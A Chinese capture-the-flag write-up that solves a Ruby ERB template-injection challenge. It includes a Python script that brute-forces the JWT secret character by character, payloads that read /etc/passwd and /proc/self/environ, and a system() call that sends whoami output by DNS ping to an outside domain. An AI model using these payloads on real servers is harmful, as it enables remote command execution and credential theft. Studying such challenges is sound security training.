0x01 源码
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
这道题目是一道erb模板注入
erb得模板注入形式如下
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
但是题目只给了我们七个可控字符,除去这五个必要得字符,我们只能剩下2个字符可控
这里解释一下
unless params[:SECRET].nil?
article = nil
article.nil? # => true
It can be used on any object and is true if the object is nil.
payload 1 key爆破
我们这是使用得是$~
脚本如下
import requests
import base64
url = "http://0fd0e8fa-6c62-4ad0-b2a0-f0a3b92c3d97.node3.buuoj.cn"
re = requests.session()
re.get(url + "/api/auth")
flag = "a93a4d620"
while True:
i = ""
for i in "0123456789abcdef":
now = flag + i
#now = i + flag
res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
if now in res.text:
print res.text
flag = now
print flag
break
print flag
注意的是,由于ruby的match不是从头开始匹配,所以我们并不知道他是否从哪儿开始,所以我们将脚本运行两次
now = flag + i
now = i + flag
并且两次字符的相加顺序不一样
payload 2 $’
$` 匹配文本之前的文本
$' 匹配文本之后的文本
这儿可以直接得key
HTTP参数传递类型差异产生的攻击面
/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6
/work?SECRET=xxx&do=%5b%22%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%70%72%6f%63%2f%73%65%6c%66%2f%65%6e%76%69%72%6f%6e%27%29%2e%72%65%61%64%20%25%3e%22%2c%20%22%31%22%2c%20%22%32%22%2c%20%22%33%22%2c%20%22%34%22%2c%20%22%35%22%2c%20%22%36%22%5d%20%69%73%20%77%6f%72%6b%69%6e%67&name[]=%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%70%72%6f%63%2f%73%65%6c%66%2f%65%6e%76%69%72%6f%6e%27%29%2e%72%65%61%64%20%25%3e&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6
这儿我们读取的是/proc/self/environ